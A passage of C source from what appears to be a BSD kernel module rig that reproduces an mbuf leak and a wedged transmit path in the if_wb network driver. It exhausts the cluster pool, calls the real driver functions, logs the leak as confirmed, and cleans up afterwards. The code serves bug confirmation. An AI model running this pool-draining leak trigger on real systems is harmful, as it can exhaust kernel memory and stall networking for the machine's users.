required)\n", DF0_NMB, DF0_NMB * DF0_MLEN); mbt0 = df_mbt_total(MT_DATA); drops0 = df_drops_total(); kprintf("dfwb3: baseline accounting: mbtypes[MT_DATA]=%lu " "mbstat.m_drops=%lu (chain included in baseline)\n", mbt0, drops0); /* validate the accounting method itself: alloc+free one mbuf */ { struct mbuf *t; MGET(t, M_NOWAIT, MT_DATA); if (t != NULL) { u_long a = df_mbt_total(MT_DATA); int ok = (a == mbt0 + 1); m_freem(t); kprintf("dfwb3: accounting self-test: +1 alloc " "observed: %d, back to %lu: %d\n", ok, df_mbt_total(MT_DATA), df_mbt_total(MT_DATA) == mbt0); } } /* drain the cluster pool: MGETHDR+MCLGET until MCLGET fails */ stash = kmalloc(sizeof(struct mbuf *) * (nmbclusters + 4096), M_TEMP, M_WAITOK | M_ZERO); for (;;) { struct mbuf *t; MGETHDR(t, M_NOWAIT, MT_DATA); if (t == NULL) { kprintf("dfwb3: drain stopped: MGETHDR failed " "(unexpected)\n"); break; } MCLGET(t, M_NOWAIT); if ((t->m_flags & M_EXT) == 0) { m_freem(t); kprintf("dfwb3: cluster pool exhausted after %d " "clusters\n", nstash); break; } stash[nstash++] = t; } drops1 = df_drops_total(); kprintf("dfwb3: post-drain mbstat.m_drops=%lu (+%lu — MCLGET " "failure signature, uipc_mbuf.c:1249) mbtypes=%lu " "(expect baseline+stash=%lu)\n", drops1, drops1 - drops0, df_mbt_total(MT_DATA), mbt0 + nstash); /* enqueue the packet and dispatch the REAL wb_start */ eq = ifsq_classic_enqueue(&df_subq, head, NULL); kprintf("dfwb3: ifsq_classic_enqueue -> %d (0 = ok); " "mbtypes now %lu (enqueue must not change it)\n", eq, df_mbt_total(MT_DATA)); kprintf("dfwb3: dispatching REAL wb_start (wb_encap is inlined " "into it; return value ignored at if_wb.c:1327)...\n"); { u_long pre = df_mbt_total(MT_DATA); p_wb_start(ifp, &df_subq); mbt1 = df_mbt_total(MT_DATA); kprintf("dfwb3: wb_start mbuf delta: %ld (LEAK expects +%d; " "0 means the chain was freed INSIDE wb_start!)\n", (long)(mbt1 - pre), DF0_NMB); } kprintf("dfwb3: post-dispatch mbstat.m_drops=%lu (+%lu since " "pre-dispatch)\n", df_drops_total(), df_drops_total() - drops1); /* which pools are dry right now? */ { struct mbuf *t; MGETHDR(t, M_NOWAIT, MT_DATA); if (t == NULL) { kprintf("dfwb3: post-dispatch probe: MGETHDR FAILS " "(packet pool dry)\n"); } else { MCLGET(t, M_NOWAIT); kprintf("dfwb3: post-dispatch probe: MGETHDR ok; " "MCLGET %s\n", (t->m_flags & M_EXT) ? "ok (!)" : "FAILS"); m_freem(t); } } /* ---- evidence ---- */ c0 = &sc->wb_cdata.wb_tx_chain[0]; kprintf("dfwb3: post-wb_start state:\n"); kprintf("dfwb3: wb_tx_head=%p (== &chain[0]: %d) wb_tx_tail=%p " "wb_tx_free=%p\n", sc->wb_cdata.wb_tx_head, sc->wb_cdata.wb_tx_head == c0, sc->wb_cdata.wb_tx_tail, sc->wb_cdata.wb_tx_free); kprintf("dfwb3: chain[0].wb_mbuf=%p (NULL: %d — wb_encap returned " "BEFORE :1283 set it)\n", c0->wb_mbuf, c0->wb_mbuf == NULL); kprintf("dfwb3: TX queue len=%d (packet dequeued and gone)\n", (int)df_subq.ifsq_len); kprintf("dfwb3: frag[0]: status=%#010x ctl=%#010x " "(FIRSTFRAG:%d TLINK:%d FINT:%d LASTFRAG:%d)\n", c0->wb_ptr->wb_frag[0].wb_status, c0->wb_ptr->wb_frag[0].wb_ctl, !!(c0->wb_ptr->wb_frag[0].wb_ctl & WB_TXCTL_FIRSTFRAG), !!(c0->wb_ptr->wb_frag[0].wb_ctl & WB_TXCTL_TLINK), !!(c0->wb_ptr->wb_frag[0].wb_ctl & WB_TXCTL_FINT), !!(c0->wb_ptr->wb_frag[0].wb_ctl & WB_TXCTL_LASTFRAG)); { int own_cnt = 0, last_cnt = 0; for (k = 0; k < WB_MAXFRAGS; k++) { if (c0->wb_ptr->wb_frag[k].wb_status & WB_TXSTAT_OWN) own_cnt++; if (c0->wb_ptr->wb_frag[k].wb_ctl & WB_TXCTL_LASTFRAG) last_cnt++; } kprintf("dfwb3: frags with OWN set: %d/16; frags with " "LASTFRAG set: %d/16 (unterminated chain: %s)\n", own_cnt, last_cnt, last_cnt == 0 ? "YES" : "no"); kprintf("dfwb3: frag[15].wb_next=%#010x vs " "vtophys(&frag[16])=%#010x (one-past-the-array walk)\n", c0->wb_ptr->wb_frag[15].wb_next, (uint32_t)vtophys(&c0->wb_ptr->wb_frag[16])); } kprintf("dfwb3: MMIO WB_TXSTART=%#010x (0xFFFFFFFF: chip told to " "TRANSMIT the half-armed descriptor, if_wb.c:1355)\n", df_mmio[WB_TXSTART / 4]); kprintf("dfwb3: if_timer=%d (5s watchdog armed)\n", ifp->if_timer); { u_long now = df_mbt_total(MT_DATA); int nmb = 0, bad = 0; struct mbuf *x; /* * mbt0 was taken AFTER the chain build, so the chain's * DF0_NMB mbufs are inside the baseline: the true * leak-free expectation is (mbt0 - DF0_NMB) + nstash. */ leaked = (int)(now - (mbt0 - DF0_NMB) - nstash); kprintf("dfwb3: accounting after evidence: mbtypes[MT_DATA]=" "%lu (chain-inclusive baseline %lu - %d chain + %d stash " "+ LEAK %d)\n", now, mbt0, DF0_NMB, nstash, leaked); /* walk the chain from the rig's saved pointer */ for (x = saved, nmb = 0; x != NULL && nmb < 32; x = x->m_next) { if (x->m_len != DF0_MLEN || bcmp(mtod(x, caddr_t), "DF4270LK", 8) != 0) bad++; nmb++; } kprintf("dfwb3: saved-chain walk: %d mbufs intact " "(m_len==%d, marker ok: %d damaged)\n", nmb, DF0_MLEN, bad); if (leaked == DF0_NMB) kprintf("dfwb3: *** DF-4270 LEAK CONFIRMED: exactly " "the %d mbufs of the dequeued packet chain are " "still allocated and referenced by NOTHING " "(queue empty, descriptor wb_mbuf NULL) ***\n", DF0_NMB); } /* ---- wedge: the REAL TX completion engine cannot advance ---- */ if (p_wb_txeof != NULL) { if (sc->wb_cdata.wb_tx_head != NULL) { c0->wb_ptr->wb_frag[0].wb_status = 0;/* chip 'completed'*/ op0 = DF_STAT(ifd_opackets); p_wb_txeof(sc); /* REAL wb_txeof */ op1 = DF_STAT(ifd_opackets); kprintf("dfwb3: after REAL wb_txeof.part.4 with a " "chip-completed head descriptor: opackets +%lu, " "wb_tx_head=%p STILL SET, chain[0].wb_mbuf=%p — " "the :1062 walk 'while (head->wb_mbuf != NULL)' " "never entered: TX completion WEDGED (5s watchdog " "is the only exit)\n", op1 - op0, sc->wb_cdata.wb_tx_head, sc->wb_cdata.wb_tx_chain[0].wb_mbuf); if (sc->wb_cdata.wb_tx_head != NULL && sc->wb_cdata.wb_tx_chain[0].wb_mbuf == NULL) kprintf("dfwb3: *** DF-4270 WEDGE CONFIRMED " "***\n"); } else { kprintf("dfwb3: wb_tx_head == NULL (nothing armed — " "FIXED behaviour): wb_txeof not dispatched " "(wb_intr's caller-side NULL guard, if_wb.c:" "1055-1056, applies)\n"); } } else { kprintf("dfwb3: txeof address not injected — wedge " "predicates only\n"); } /* ---- watchdog recovery (leak persists across it) ---- */ if (p_wb_watchdog != NULL) { kprintf("dfwb3: dispatching REAL wb_watchdog (the 5s " "recovery path)...\n"); p_wb_watchdog(ifp); mbt2 = df_mbt_total(MT_DATA); kprintf("dfwb3: after watchdog: wb_tx_head=%p (recovered: " "%d) mbtypes[MT_DATA]=%lu — leaked mbufs STILL leaked: " "%s\n", sc->wb_cdata.wb_tx_head, sc->wb_cdata.wb_tx_head == NULL, mbt2, (int)(mbt2 - (mbt0 - DF0_NMB) - nstash) == DF0_NMB ? "YES" : "no"); } /* ---- rig cleanup: leave the guest clean ---- */ { u_long now = df_mbt_total(MT_DATA); int still = (int)(now - (mbt0 - DF0_NMB) - nstash) == DF0_NMB; if (still) { m_freem(saved); /* the leaked chain (rig-owned) */ } else { kprintf("dfwb3: cleanup: chain NOT freed by wb_start " "per accounting — NOT double-freeing; freeing " "stash only\n"); } } for (i = 0; i < nstash; i++) m_freem(stash[i]); kfree(stash, M_TEMP); p_wb_stop(sc); callout_stop(&sc->wb_stat_timer); mbt3 = df_mbt_total(MT_DATA); kprintf("dfwb3: rig cleanup complete: mbtypes[MT_DATA]=%lu " "(baseline %lu, delta %ld — accounting restored)\n", mbt3, mbt0, (long)(mbt3 - mbt0)); } /* ------------------------------------------------------------------ */ /* go sysctls */ /* ------------------------------------------------------------------ */ static void df_common_checks(void) { kprintf("dfwb3: resolved: rxeof=%p init=%p stop=%p start=%p " "txeof=%p watchdog=%p mbstat=%p mbtypes=%p\n", p_wb_rxeof, p_wb_init, p_wb_stop, p_wb_start, p_wb_txeof, p_wb_watchdog, p_mbstat, p_mbtypes); if (p_mbstat != NULL) kprintf("dfwb3: mbstat stride sanity: sizeof(struct " "mbstat)=%#zx cachealign-stride=%#zx m_msize0=%lu " "m_msize1=%lu\n", sizeof(struct mbstat), DF_MBSTRIDE, ((struct mbstat *)((char *)p_mbstat))->m_msize, ((struct mbstat *)((char *)p_mbstat + DF_MBSTRIDE))->m_msize); } #define DF_GO_SYSCTL(name, phase, need) \ static int df_ran_##name; \ static int \ df_sysctl_go_##name(SYSCTL_HANDLER_ARGS) \ { \ int error, go = 0; \ \ error = sysctl_handle_int(oidp, &go, 0, req); \ if (error || req->newptr == NULL) \ return (error); \ if (go != 1 || df_ran_##name) \ return (EPERM); \ if (need) { \ kprintf("dfwb3: required addresses not injected\n"); \ return (EINVAL); \ } \ df_ran_##name = 1; \ df_common_checks(); \ lwkt_serialize_enter(&df_ser); \ phase(); \ lwkt_serialize_exit(&df_ser); \ kprintf("dfwb3: " #name " SURVIVED — guest stays up\n"); \ return (0); \ } \ SYSCTL_PROC(_kern_dfwb3, OID_AUTO, name, \ CTLTYPE_INT | CTLFLAG_RW, NULL, 0, df_sysctl_go_##name, "I", \ "run " #name); DF_GO_SYSCTL(go4267, df_phase_4267, (p_wb_rxeof == NULL || p_wb_init == NULL || p_wb_stop == NULL)) DF_GO_SYSCTL(go4268, df_phase_4268_prod_wrapper, (p_wb_rxeof == NULL || p_wb_init == NULL || p_wb_stop == NULL)) DF_GO_SYSCTL(go4268ctl, df_phase_4268_ctl_wrapper, (p_wb_rxeof == NULL || p_wb_init == NULL || p_wb_stop == NULL)) DF_GO_SYSCTL(go4270, df_phase_4270, (p_wb_init == NULL || p_wb_stop == NULL || p_wb_start == NULL || p_mbstat == NULL || p_mbtypes == NULL)) static int df_modevent(module_t mod, int type, void *arg) { switch (type) { case MOD_LOAD: df_setup(); return (0); case MOD_UNLOAD: if (df_ran_go4267 || df_ran_go4268 || df_ran_go4268ctl || df_ran_go4270) callout_stop(&df_sc.wb_stat_timer); return (0); default: return (0); } } static moduledata_t df_mod = { "dfwb3_rig", df_modevent, NULL }; DECLARE_MODULE(dfwb3_rig, df_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);